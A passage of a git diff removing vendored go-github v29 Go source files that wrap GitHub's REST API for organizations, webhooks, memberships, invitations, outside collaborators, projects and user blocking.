new(APIMeta) - resp, err := c.Do(ctx, req, meta) - if err != nil { - return nil, resp, err - } - - return meta, resp, nil -} - -// Octocat returns an ASCII art octocat with the specified message in a speech -// bubble. If message is empty, a random zen phrase is used. -func (c *Client) Octocat(ctx context.Context, message string) (string, *Response, error) { - u := "octocat" - if message != "" { - u = fmt.Sprintf("%s?s=%s", u, url.QueryEscape(message)) - } - - req, err := c.NewRequest("GET", u, nil) - if err != nil { - return "", nil, err - } - - buf := new(bytes.Buffer) - resp, err := c.Do(ctx, req, buf) - if err != nil { - return "", resp, err - } - - return buf.String(), resp, nil -} - -// Zen returns a random line from The Zen of GitHub. -// -// see also: http://warpspire.com/posts/taste/ -func (c *Client) Zen(ctx context.Context) (string, *Response, error) { - req, err := c.NewRequest("GET", "zen", nil) - if err != nil { - return "", nil, err - } - - buf := new(bytes.Buffer) - resp, err := c.Do(ctx, req, buf) - if err != nil { - return "", resp, err - } - - return buf.String(), resp, nil -} - -// ServiceHook represents a hook that has configuration settings, a list of -// available events, and default events. -type ServiceHook struct { - Name *string `json:"name,omitempty"` - Events []string `json:"events,omitempty"` - SupportedEvents []string `json:"supported_events,omitempty"` - Schema [][]string `json:"schema,omitempty"` -} - -func (s *ServiceHook) String() string { - return Stringify(s) -} - -// ListServiceHooks lists all of the available service hooks. -// -// GitHub API docs: https://developer.github.com/webhooks/#services -func (c *Client) ListServiceHooks(ctx context.Context) ([]*ServiceHook, *Response, error) { - u := "hooks" - req, err := c.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - var hooks []*ServiceHook - resp, err := c.Do(ctx, req, &hooks) - if err != nil { - return nil, resp, err - } - - return hooks, resp, nil -} diff --git a/vendor/github.com/google/go-github/v29/github/orgs.go b/vendor/github.com/google/go-github/v29/github/orgs.go deleted file mode 100644 index bae67dad58..0000000000 --- a/vendor/github.com/google/go-github/v29/github/orgs.go +++ /dev/null @@ -1,263 +0,0 @@ -// Copyright 2013 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package github - -import ( - "context" - "fmt" - "time" -) - -// OrganizationsService provides access to the organization related functions -// in the GitHub API. -// -// GitHub API docs: https://developer.github.com/v3/orgs/ -type OrganizationsService service - -// Organization represents a GitHub organization account. -type Organization struct { - Login *string `json:"login,omitempty"` - ID *int64 `json:"id,omitempty"` - NodeID *string `json:"node_id,omitempty"` - AvatarURL *string `json:"avatar_url,omitempty"` - HTMLURL *string `json:"html_url,omitempty"` - Name *string `json:"name,omitempty"` - Company *string `json:"company,omitempty"` - Blog *string `json:"blog,omitempty"` - Location *string `json:"location,omitempty"` - Email *string `json:"email,omitempty"` - Description *string `json:"description,omitempty"` - PublicRepos *int `json:"public_repos,omitempty"` - PublicGists *int `json:"public_gists,omitempty"` - Followers *int `json:"followers,omitempty"` - Following *int `json:"following,omitempty"` - CreatedAt *time.Time `json:"created_at,omitempty"` - UpdatedAt *time.Time `json:"updated_at,omitempty"` - TotalPrivateRepos *int `json:"total_private_repos,omitempty"` - OwnedPrivateRepos *int `json:"owned_private_repos,omitempty"` - PrivateGists *int `json:"private_gists,omitempty"` - DiskUsage *int `json:"disk_usage,omitempty"` - Collaborators *int `json:"collaborators,omitempty"` - BillingEmail *string `json:"billing_email,omitempty"` - Type *string `json:"type,omitempty"` - Plan *Plan `json:"plan,omitempty"` - TwoFactorRequirementEnabled *bool `json:"two_factor_requirement_enabled,omitempty"` - - // DefaultRepoPermission can be one of: "read", "write", "admin", or "none". (Default: "read"). - // It is only used in OrganizationsService.Edit. - DefaultRepoPermission *string `json:"default_repository_permission,omitempty"` - // DefaultRepoSettings can be one of: "read", "write", "admin", or "none". (Default: "read"). - // It is only used in OrganizationsService.Get. - DefaultRepoSettings *string `json:"default_repository_settings,omitempty"` - - // MembersCanCreateRepos default value is true and is only used in Organizations.Edit. - MembersCanCreateRepos *bool `json:"members_can_create_repositories,omitempty"` - - // https://developer.github.com/changes/2019-12-03-internal-visibility-changes/#rest-v3-api - MembersCanCreatePublicRepos *bool `json:"members_can_create_public_repositories,omitempty"` - MembersCanCreatePrivateRepos *bool `json:"members_can_create_private_repositories,omitempty"` - MembersCanCreateInternalRepos *bool `json:"members_can_create_internal_repositories,omitempty"` - - // MembersAllowedRepositoryCreationType denotes if organization members can create repositories - // and the type of repositories they can create. Possible values are: "all", "private", or "none". - // - // Deprecated: Use MembersCanCreatePublicRepos, MembersCanCreatePrivateRepos, MembersCanCreateInternalRepos - // instead. The new fields overrides the existing MembersAllowedRepositoryCreationType during 'edit' - // operation and does not consider 'internal' repositories during 'get' operation - MembersAllowedRepositoryCreationType *string `json:"members_allowed_repository_creation_type,omitempty"` - - // API URLs - URL *string `json:"url,omitempty"` - EventsURL *string `json:"events_url,omitempty"` - HooksURL *string `json:"hooks_url,omitempty"` - IssuesURL *string `json:"issues_url,omitempty"` - MembersURL *string `json:"members_url,omitempty"` - PublicMembersURL *string `json:"public_members_url,omitempty"` - ReposURL *string `json:"repos_url,omitempty"` -} - -// OrganizationInstallations represents GitHub app installations for an organization. -type OrganizationInstallations struct { - TotalCount *int `json:"total_count,omitempty"` - Installations []*Installation `json:"installations,omitempty"` -} - -func (o Organization) String() string { - return Stringify(o) -} - -// Plan represents the payment plan for an account. See plans at https://github.com/plans. -type Plan struct { - Name *string `json:"name,omitempty"` - Space *int `json:"space,omitempty"` - Collaborators *int `json:"collaborators,omitempty"` - PrivateRepos *int `json:"private_repos,omitempty"` - FilledSeats *int `json:"filled_seats,omitempty"` - Seats *int `json:"seats,omitempty"` -} - -func (p Plan) String() string { - return Stringify(p) -} - -// OrganizationsListOptions specifies the optional parameters to the -// OrganizationsService.ListAll method. -type OrganizationsListOptions struct { - // Since filters Organizations by ID. - Since int64 `url:"since,omitempty"` - - // Note: Pagination is powered exclusively by the Since parameter, - // ListOptions.Page has no effect. - // ListOptions.PerPage controls an undocumented GitHub API parameter. - ListOptions -} - -// ListAll lists all organizations, in the order that they were created on GitHub. -// -// Note: Pagination is powered exclusively by the since parameter. To continue -// listing the next set of organizations, use the ID of the last-returned organization -// as the opts.Since parameter for the next call. -// -// GitHub API docs: https://developer.github.com/v3/orgs/#list-all-organizations -func (s *OrganizationsService) ListAll(ctx context.Context, opt *OrganizationsListOptions) ([]*Organization, *Response, error) { - u, err := addOptions("organizations", opt) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - orgs := []*Organization{} - resp, err := s.client.Do(ctx, req, &orgs) - if err != nil { - return nil, resp, err - } - return orgs, resp, nil -} - -// List the organizations for a user. Passing the empty string will list -// organizations for the authenticated user. -// -// GitHub API docs: https://developer.github.com/v3/orgs/#list-user-organizations -func (s *OrganizationsService) List(ctx context.Context, user string, opt *ListOptions) ([]*Organization, *Response, error) { - var u string - if user != "" { - u = fmt.Sprintf("users/%v/orgs", user) - } else { - u = "user/orgs" - } - u, err := addOptions(u, opt) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - var orgs []*Organization - resp, err := s.client.Do(ctx, req, &orgs) - if err != nil { - return nil, resp, err - } - - return orgs, resp, nil -} - -// Get fetches an organization by name. -// -// GitHub API docs: https://developer.github.com/v3/orgs/#get-an-organization -func (s *OrganizationsService) Get(ctx context.Context, org string) (*Organization, *Response, error) { - u := fmt.Sprintf("orgs/%v", org) - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept header when this API fully launches. - req.Header.Set("Accept", mediaTypeMemberAllowedRepoCreationTypePreview) - - organization := new(Organization) - resp, err := s.client.Do(ctx, req, organization) - if err != nil { - return nil, resp, err - } - - return organization, resp, nil -} - -// GetByID fetches an organization. -// -// Note: GetByID uses the undocumented GitHub API endpoint /organizations/:id. -func (s *OrganizationsService) GetByID(ctx context.Context, id int64) (*Organization, *Response, error) { - u := fmt.Sprintf("organizations/%d", id) - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - organization := new(Organization) - resp, err := s.client.Do(ctx, req, organization) - if err != nil { - return nil, resp, err - } - - return organization, resp, nil -} - -// Edit an organization. -// -// GitHub API docs: https://developer.github.com/v3/orgs/#edit-an-organization -func (s *OrganizationsService) Edit(ctx context.Context, name string, org *Organization) (*Organization, *Response, error) { - u := fmt.Sprintf("orgs/%v", name) - req, err := s.client.NewRequest("PATCH", u, org) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept header when this API fully launches. - req.Header.Set("Accept", mediaTypeMemberAllowedRepoCreationTypePreview) - - o := new(Organization) - resp, err := s.client.Do(ctx, req, o) - if err != nil { - return nil, resp, err - } - - return o, resp, nil -} - -// ListInstallations lists installations for an organization. -// -// GitHub API docs: https://developer.github.com/v3/orgs/#list-installations-for-an-organization -func (s *OrganizationsService) ListInstallations(ctx context.Context, org string, opt *ListOptions) (*OrganizationInstallations, *Response, error) { - u := fmt.Sprintf("orgs/%v/installations", org) - - u, err := addOptions(u, opt) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept header when this API fully launches. - req.Header.Set("Accept", mediaTypeIntegrationPreview) - - result := new(OrganizationInstallations) - resp, err := s.client.Do(ctx, req, result) - if err != nil { - return nil, resp, err - } - - return result, resp, nil -} diff --git a/vendor/github.com/google/go-github/v29/github/orgs_hooks.go b/vendor/github.com/google/go-github/v29/github/orgs_hooks.go deleted file mode 100644 index 5357eb8784..0000000000 --- a/vendor/github.com/google/go-github/v29/github/orgs_hooks.go +++ /dev/null @@ -1,118 +0,0 @@ -// Copyright 2015 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package github - -import ( - "context" - "fmt" -) - -// ListHooks lists all Hooks for the specified organization. -// -// GitHub API docs: https://developer.github.com/v3/orgs/hooks/#list-hooks -func (s *OrganizationsService) ListHooks(ctx context.Context, org string, opt *ListOptions) ([]*Hook, *Response, error) { - u := fmt.Sprintf("orgs/%v/hooks", org) - u, err := addOptions(u, opt) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - var hooks []*Hook - resp, err := s.client.Do(ctx, req, &hooks) - if err != nil { - return nil, resp, err - } - - return hooks, resp, nil -} - -// GetHook returns a single specified Hook. -// -// GitHub API docs: https://developer.github.com/v3/orgs/hooks/#get-single-hook -func (s *OrganizationsService) GetHook(ctx context.Context, org string, id int64) (*Hook, *Response, error) { - u := fmt.Sprintf("orgs/%v/hooks/%d", org, id) - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - hook := new(Hook) - resp, err := s.client.Do(ctx, req, hook) - return hook, resp, err -} - -// CreateHook creates a Hook for the specified org. -// Config is a required field. -// -// Note that only a subset of the hook fields are used and hook must -// not be nil. -// -// GitHub API docs: https://developer.github.com/v3/orgs/hooks/#create-a-hook -func (s *OrganizationsService) CreateHook(ctx context.Context, org string, hook *Hook) (*Hook, *Response, error) { - u := fmt.Sprintf("orgs/%v/hooks", org) - - hookReq := &createHookRequest{ - Name: "web", - Events: hook.Events, - Active: hook.Active, - Config: hook.Config, - } - - req, err := s.client.NewRequest("POST", u, hookReq) - if err != nil { - return nil, nil, err - } - - h := new(Hook) - resp, err := s.client.Do(ctx, req, h) - if err != nil { - return nil, resp, err - } - - return h, resp, nil -} - -// EditHook updates a specified Hook. -// -// GitHub API docs: https://developer.github.com/v3/orgs/hooks/#edit-a-hook -func (s *OrganizationsService) EditHook(ctx context.Context, org string, id int64, hook *Hook) (*Hook, *Response, error) { - u := fmt.Sprintf("orgs/%v/hooks/%d", org, id) - req, err := s.client.NewRequest("PATCH", u, hook) - if err != nil { - return nil, nil, err - } - h := new(Hook) - resp, err := s.client.Do(ctx, req, h) - return h, resp, err -} - -// PingHook triggers a 'ping' event to be sent to the Hook. -// -// GitHub API docs: https://developer.github.com/v3/orgs/hooks/#ping-a-hook -func (s *OrganizationsService) PingHook(ctx context.Context, org string, id int64) (*Response, error) { - u := fmt.Sprintf("orgs/%v/hooks/%d/pings", org, id) - req, err := s.client.NewRequest("POST", u, nil) - if err != nil { - return nil, err - } - return s.client.Do(ctx, req, nil) -} - -// DeleteHook deletes a specified Hook. -// -// GitHub API docs: https://developer.github.com/v3/orgs/hooks/#delete-a-hook -func (s *OrganizationsService) DeleteHook(ctx context.Context, org string, id int64) (*Response, error) { - u := fmt.Sprintf("orgs/%v/hooks/%d", org, id) - req, err := s.client.NewRequest("DELETE", u, nil) - if err != nil { - return nil, err - } - return s.client.Do(ctx, req, nil) -} diff --git a/vendor/github.com/google/go-github/v29/github/orgs_members.go b/vendor/github.com/google/go-github/v29/github/orgs_members.go deleted file mode 100644 index a2fc9265df..0000000000 --- a/vendor/github.com/google/go-github/v29/github/orgs_members.go +++ /dev/null @@ -1,364 +0,0 @@ -// Copyright 2013 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package github - -import ( - "context" - "fmt" -) - -// Membership represents the status of a user's membership in an organization or team. -type Membership struct { - URL *string `json:"url,omitempty"` - - // State is the user's status within the organization or team. - // Possible values are: "active", "pending" - State *string `json:"state,omitempty"` - - // Role identifies the user's role within the organization or team. - // Possible values for organization membership: - // member - non-owner organization member - // admin - organization owner - // - // Possible values for team membership are: - // member - a normal member of the team - // maintainer - a team maintainer. Able to add/remove other team - // members, promote other team members to team - // maintainer, and edit the team’s name and description - Role *string `json:"role,omitempty"` - - // For organization membership, the API URL of the organization. - OrganizationURL *string `json:"organization_url,omitempty"` - - // For organization membership, the organization the membership is for. - Organization *Organization `json:"organization,omitempty"` - - // For organization membership, the user the membership is for. - User *User `json:"user,omitempty"` -} - -func (m Membership) String() string { - return Stringify(m) -} - -// ListMembersOptions specifies optional parameters to the -// OrganizationsService.ListMembers method. -type ListMembersOptions struct { - // If true (or if the authenticated user is not an owner of the - // organization), list only publicly visible members. - PublicOnly bool `url:"-"` - - // Filter members returned in the list. Possible values are: - // 2fa_disabled, all. Default is "all". - Filter string `url:"filter,omitempty"` - - // Role filters members returned by their role in the organization. - // Possible values are: - // all - all members of the organization, regardless of role - // admin - organization owners - // member - non-owner organization members - // - // Default is "all". - Role string `url:"role,omitempty"` - - ListOptions -} - -// ListMembers lists the members for an organization. If the authenticated -// user is an owner of the organization, this will return both concealed and -// public members, otherwise it will only return public members. -// -// GitHub API docs: https://developer.github.com/v3/orgs/members/#members-list -func (s *OrganizationsService) ListMembers(ctx context.Context, org string, opt *ListMembersOptions) ([]*User, *Response, error) { - var u string - if opt != nil && opt.PublicOnly { - u = fmt.Sprintf("orgs/%v/public_members", org) - } else { - u = fmt.Sprintf("orgs/%v/members", org) - } - u, err := addOptions(u, opt) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - var members []*User - resp, err := s.client.Do(ctx, req, &members) - if err != nil { - return nil, resp, err - } - - return members, resp, nil -} - -// IsMember checks if a user is a member of an organization. -// -// GitHub API docs: https://developer.github.com/v3/orgs/members/#check-membership -func (s *OrganizationsService) IsMember(ctx context.Context, org, user string) (bool, *Response, error) { - u := fmt.Sprintf("orgs/%v/members/%v", org, user) - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return false, nil, err - } - - resp, err := s.client.Do(ctx, req, nil) - member, err := parseBoolResponse(err) - return member, resp, err -} - -// IsPublicMember checks if a user is a public member of an organization. -// -// GitHub API docs: https://developer.github.com/v3/orgs/members/#check-public-membership -func (s *OrganizationsService) IsPublicMember(ctx context.Context, org, user string) (bool, *Response, error) { - u := fmt.Sprintf("orgs/%v/public_members/%v", org, user) - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return false, nil, err - } - - resp, err := s.client.Do(ctx, req, nil) - member, err := parseBoolResponse(err) - return member, resp, err -} - -// RemoveMember removes a user from all teams of an organization. -// -// GitHub API docs: https://developer.github.com/v3/orgs/members/#remove-a-member -func (s *OrganizationsService) RemoveMember(ctx context.Context, org, user string) (*Response, error) { - u := fmt.Sprintf("orgs/%v/members/%v", org, user) - req, err := s.client.NewRequest("DELETE", u, nil) - if err != nil { - return nil, err - } - - return s.client.Do(ctx, req, nil) -} - -// PublicizeMembership publicizes a user's membership in an organization. (A -// user cannot publicize the membership for another user.) -// -// GitHub API docs: https://developer.github.com/v3/orgs/members/#publicize-a-users-membership -func (s *OrganizationsService) PublicizeMembership(ctx context.Context, org, user string) (*Response, error) { - u := fmt.Sprintf("orgs/%v/public_members/%v", org, user) - req, err := s.client.NewRequest("PUT", u, nil) - if err != nil { - return nil, err - } - - return s.client.Do(ctx, req, nil) -} - -// ConcealMembership conceals a user's membership in an organization. -// -// GitHub API docs: https://developer.github.com/v3/orgs/members/#conceal-a-users-membership -func (s *OrganizationsService) ConcealMembership(ctx context.Context, org, user string) (*Response, error) { - u := fmt.Sprintf("orgs/%v/public_members/%v", org, user) - req, err := s.client.NewRequest("DELETE", u, nil) - if err != nil { - return nil, err - } - - return s.client.Do(ctx, req, nil) -} - -// ListOrgMembershipsOptions specifies optional parameters to the -// OrganizationsService.ListOrgMemberships method. -type ListOrgMembershipsOptions struct { - // Filter memberships to include only those with the specified state. - // Possible values are: "active", "pending". - State string `url:"state,omitempty"` - - ListOptions -} - -// ListOrgMemberships lists the organization memberships for the authenticated user. -// -// GitHub API docs: https://developer.github.com/v3/orgs/members/#list-your-organization-memberships -func (s *OrganizationsService) ListOrgMemberships(ctx context.Context, opt *ListOrgMembershipsOptions) ([]*Membership, *Response, error) { - u := "user/memberships/orgs" - u, err := addOptions(u, opt) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - var memberships []*Membership - resp, err := s.client.Do(ctx, req, &memberships) - if err != nil { - return nil, resp, err - } - - return memberships, resp, nil -} - -// GetOrgMembership gets the membership for a user in a specified organization. -// Passing an empty string for user will get the membership for the -// authenticated user. -// -// GitHub API docs: -// https://developer.github.com/v3/orgs/members/#get-organization-membership -// https://developer.github.com/v3/orgs/members/#get-your-organization-membership -func (s *OrganizationsService) GetOrgMembership(ctx context.Context, user, org string) (*Membership, *Response, error) { - var u string - if user != "" { - u = fmt.Sprintf("orgs/%v/memberships/%v", org, user) - } else { - u = fmt.Sprintf("user/memberships/orgs/%v", org) - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - membership := new(Membership) - resp, err := s.client.Do(ctx, req, membership) - if err != nil { - return nil, resp, err - } - - return membership, resp, nil -} - -// EditOrgMembership edits the membership for user in specified organization. -// Passing an empty string for user will edit the membership for the -// authenticated user. -// -// GitHub API docs: https://developer.github.com/v3/orgs/members/#add-or-update-organization-membership -// GitHub API docs: https://developer.github.com/v3/orgs/members/#edit-your-organization-membership -func (s *OrganizationsService) EditOrgMembership(ctx context.Context, user, org string, membership *Membership) (*Membership, *Response, error) { - var u, method string - if user != "" { - u = fmt.Sprintf("orgs/%v/memberships/%v", org, user) - method = "PUT" - } else { - u = fmt.Sprintf("user/memberships/orgs/%v", org) - method = "PATCH" - } - - req, err := s.client.NewRequest(method, u, membership) - if err != nil { - return nil, nil, err - } - - m := new(Membership) - resp, err := s.client.Do(ctx, req, m) - if err != nil { - return nil, resp, err - } - - return m, resp, nil -} - -// RemoveOrgMembership removes user from the specified organization. If the -// user has been invited to the organization, this will cancel their invitation. -// -// GitHub API docs: https://developer.github.com/v3/orgs/members/#remove-organization-membership -func (s *OrganizationsService) RemoveOrgMembership(ctx context.Context, user, org string) (*Response, error) { - u := fmt.Sprintf("orgs/%v/memberships/%v", org, user) - req, err := s.client.NewRequest("DELETE", u, nil) - if err != nil { - return nil, err - } - - return s.client.Do(ctx, req, nil) -} - -// ListPendingOrgInvitations returns a list of pending invitations. -// -// GitHub API docs: https://developer.github.com/v3/orgs/members/#list-pending-organization-invitations -func (s *OrganizationsService) ListPendingOrgInvitations(ctx context.Context, org string, opt *ListOptions) ([]*Invitation, *Response, error) { - u := fmt.Sprintf("orgs/%v/invitations", org) - u, err := addOptions(u, opt) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - var pendingInvitations []*Invitation - resp, err := s.client.Do(ctx, req, &pendingInvitations) - if err != nil { - return nil, resp, err - } - return pendingInvitations, resp, nil -} - -// CreateOrgInvitationOptions specifies the parameters to the OrganizationService.Invite -// method. -type CreateOrgInvitationOptions struct { - // GitHub user ID for the person you are inviting. Not required if you provide Email. - InviteeID *int64 `json:"invitee_id,omitempty"` - // Email address of the person you are inviting, which can be an existing GitHub user. - // Not required if you provide InviteeID - Email *string `json:"email,omitempty"` - // Specify role for new member. Can be one of: - // * admin - Organization owners with full administrative rights to the - // organization and complete access to all repositories and teams. - // * direct_member - Non-owner organization members with ability to see - // other members and join teams by invitation. - // * billing_manager - Non-owner organization members with ability to - // manage the billing settings of your organization. - // Default is "direct_member". - Role *string `json:"role"` - TeamID []int64 `json:"team_ids"` -} - -// CreateOrgInvitation invites people to an organization by using their GitHub user ID or their email address. -// In order to create invitations in an organization, -// the authenticated user must be an organization owner. -// -// https://developer.github.com/v3/orgs/members/#create-organization-invitation -func (s *OrganizationsService) CreateOrgInvitation(ctx context.Context, org string, opt *CreateOrgInvitationOptions) (*Invitation, *Response, error) { - u := fmt.Sprintf("orgs/%v/invitations", org) - - req, err := s.client.NewRequest("POST", u, opt) - if err != nil { - return nil, nil, err - } - - var invitation *Invitation - resp, err := s.client.Do(ctx, req, &invitation) - if err != nil { - return nil, resp, err - } - return invitation, resp, nil -} - -// ListOrgInvitationTeams lists all teams associated with an invitation. In order to see invitations in an organization, -// the authenticated user must be an organization owner. -// -// GitHub API docs: https://developer.github.com/v3/orgs/members/#list-organization-invitation-teams -func (s *OrganizationsService) ListOrgInvitationTeams(ctx context.Context, org, invitationID string, opt *ListOptions) ([]*Team, *Response, error) { - u := fmt.Sprintf("orgs/%v/invitations/%v/teams", org, invitationID) - u, err := addOptions(u, opt) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - var orgInvitationTeams []*Team - resp, err := s.client.Do(ctx, req, &orgInvitationTeams) - if err != nil { - return nil, resp, err - } - return orgInvitationTeams, resp, nil -} diff --git a/vendor/github.com/google/go-github/v29/github/orgs_outside_collaborators.go b/vendor/github.com/google/go-github/v29/github/orgs_outside_collaborators.go deleted file mode 100644 index 85ffd05f61..0000000000 --- a/vendor/github.com/google/go-github/v29/github/orgs_outside_collaborators.go +++ /dev/null @@ -1,81 +0,0 @@ -// Copyright 2017 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package github - -import ( - "context" - "fmt" -) - -// ListOutsideCollaboratorsOptions specifies optional parameters to the -// OrganizationsService.ListOutsideCollaborators method. -type ListOutsideCollaboratorsOptions struct { - // Filter outside collaborators returned in the list. Possible values are: - // 2fa_disabled, all. Default is "all". - Filter string `url:"filter,omitempty"` - - ListOptions -} - -// ListOutsideCollaborators lists outside collaborators of organization's repositories. -// This will only work if the authenticated -// user is an owner of the organization. -// -// Warning: The API may change without advance notice during the preview period. -// Preview features are not supported for production use. -// -// GitHub API docs: https://developer.github.com/v3/orgs/outside_collaborators/#list-outside-collaborators -func (s *OrganizationsService) ListOutsideCollaborators(ctx context.Context, org string, opt *ListOutsideCollaboratorsOptions) ([]*User, *Response, error) { - u := fmt.Sprintf("orgs/%v/outside_collaborators", org) - u, err := addOptions(u, opt) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - var members []*User - resp, err := s.client.Do(ctx, req, &members) - if err != nil { - return nil, resp, err - } - - return members, resp, nil -} - -// RemoveOutsideCollaborator removes a user from the list of outside collaborators; -// consequently, removing them from all the organization's repositories. -// -// GitHub API docs: https://developer.github.com/v3/orgs/outside_collaborators/#remove-outside-collaborator -func (s *OrganizationsService) RemoveOutsideCollaborator(ctx context.Context, org string, user string) (*Response, error) { - u := fmt.Sprintf("orgs/%v/outside_collaborators/%v", org, user) - req, err := s.client.NewRequest("DELETE", u, nil) - if err != nil { - return nil, err - } - - return s.client.Do(ctx, req, nil) -} - -// ConvertMemberToOutsideCollaborator reduces the permission level of a member of the -// organization to that of an outside collaborator. Therefore, they will only -// have access to the repositories that their current team membership allows. -// Responses for converting a non-member or the last owner to an outside collaborator -// are listed in GitHub API docs. -// -// GitHub API docs: https://developer.github.com/v3/orgs/outside_collaborators/#convert-member-to-outside-collaborator -func (s *OrganizationsService) ConvertMemberToOutsideCollaborator(ctx context.Context, org string, user string) (*Response, error) { - u := fmt.Sprintf("orgs/%v/outside_collaborators/%v", org, user) - req, err := s.client.NewRequest("PUT", u, nil) - if err != nil { - return nil, err - } - - return s.client.Do(ctx, req, nil) -} diff --git a/vendor/github.com/google/go-github/v29/github/orgs_projects.go b/vendor/github.com/google/go-github/v29/github/orgs_projects.go deleted file mode 100644 index e57cba9782..0000000000 --- a/vendor/github.com/google/go-github/v29/github/orgs_projects.go +++ /dev/null @@ -1,60 +0,0 @@ -// Copyright 2017 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package github - -import ( - "context" - "fmt" -) - -// ListProjects lists the projects for an organization. -// -// GitHub API docs: https://developer.github.com/v3/projects/#list-organization-projects -func (s *OrganizationsService) ListProjects(ctx context.Context, org string, opt *ProjectListOptions) ([]*Project, *Response, error) { - u := fmt.Sprintf("orgs/%v/projects", org) - u, err := addOptions(u, opt) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept header when this API fully launches. - req.Header.Set("Accept", mediaTypeProjectsPreview) - - var projects []*Project - resp, err := s.client.Do(ctx, req, &projects) - if err != nil { - return nil, resp, err - } - - return projects, resp, nil -} - -// CreateProject creates a GitHub Project for the specified organization. -// -// GitHub API docs: https://developer.github.com/v3/projects/#create-an-organization-project -func (s *OrganizationsService) CreateProject(ctx context.Context, org string, opt *ProjectOptions) (*Project, *Response, error) { - u := fmt.Sprintf("orgs/%v/projects", org) - req, err := s.client.NewRequest("POST", u, opt) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept header when this API fully launches. - req.Header.Set("Accept", mediaTypeProjectsPreview) - - project := &Project{} - resp, err := s.client.Do(ctx, req, project) - if err != nil { - return nil, resp, err - } - - return project, resp, nil -} diff --git a/vendor/github.com/google/go-github/v29/github/orgs_users_blocking.go b/vendor/github.com/google/go-github/v29/github/orgs_users_blocking.go deleted file mode 100644 index b1aecf4453..0000000000 --- a/vendor/github.com/google/go-github/v29/github/orgs_users_blocking.go +++ /dev/null @@ -1,91 +0,0 @@ -// Copyright 2017 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package github - -import ( - "context" - "fmt" -) - -// ListBlockedUsers lists all the users blocked by an organization. -// -// GitHub API docs: https://developer.github.com/v3/orgs/blocking/#list-blocked-users -func (s *OrganizationsService) ListBlockedUsers(ctx context.Context, org string, opt *ListOptions) ([]*User, *Response, error) { - u := fmt.Sprintf("orgs/%v/blocks", org) - u, err := addOptions(u, opt) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept header when this API fully launches. - req.Header.Set("Accept", mediaTypeBlockUsersPreview) - - var blockedUsers []*User - resp, err := s.client.Do(ctx, req, &blockedUsers) - if err != nil { - return nil, resp, err - } - - return blockedUsers, resp, nil -} - -// IsBlocked reports whether specified user is blocked from an organization. -// -// GitHub API docs: https://developer.github.com/v3/orgs/blocking/#check-whether-a-user-is-blocked-from-an-organization -func (s *OrganizationsService) IsBlocked(ctx context.Context, org string, user string) (bool, *Response, error) { - u := fmt.Sprintf("orgs/%v/blocks/%v", org, user) - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return false, nil, err - } - - // TODO: remove custom Accept header when this API fully launches. - req.Header.Set("Accept", mediaTypeBlockUsersPreview) - - resp, err := s.client.Do(ctx, req, nil) - isBlocked, err := parseBoolResponse(err) - return isBlocked, resp, err -} - -// BlockUser blocks specified user from an organization. -// -// GitHub API docs: https://developer.github.com/v3/orgs/blocking/#block-a-user -func (s *OrganizationsService) BlockUser(ctx context.Context, org string, user string) (*Response, error) { - u := fmt.Sprintf("orgs/%v/blocks/%v", org, user) - - req, err := s.client.NewRequest("PUT", u, nil) - if err != nil { - return nil, err - } - - // TODO: remove custom Accept header when this API fully launches. - req.Header.Set("Accept", mediaTypeBlockUsersPreview) - - return s.client.Do(ctx, req, nil) -} - -// UnblockUser unblocks specified user from an organization. -// -// GitHub API docs: https://developer.github.com/v3/orgs/blocking/#unblock-a-user -func (s *OrganizationsService) UnblockUser(ctx context.Context, org string, user string) (*Response, error) { - u := fmt.Sprintf("orgs/%v/blocks/%v", org, user) - - req, err := s.client.NewRequest("DELETE", u, nil) - if err != nil { - return nil, err - } - - // TODO: remove custom Accept header when this API fully launches. - req.Header.Set("Accept", mediaTypeBlockUsersPreview) - - return s.client.Do(ctx, req, nil) -} diff --git a/vendor/github.com/google/go-github/v29/github/projects.go b/vendor/github.com/google/go-github/v29/github/projects.go deleted file mode 100644 index 1e9620dfd9..0000000000 --- a/vendor/github.com/google/go-github/v29/github/projects.go 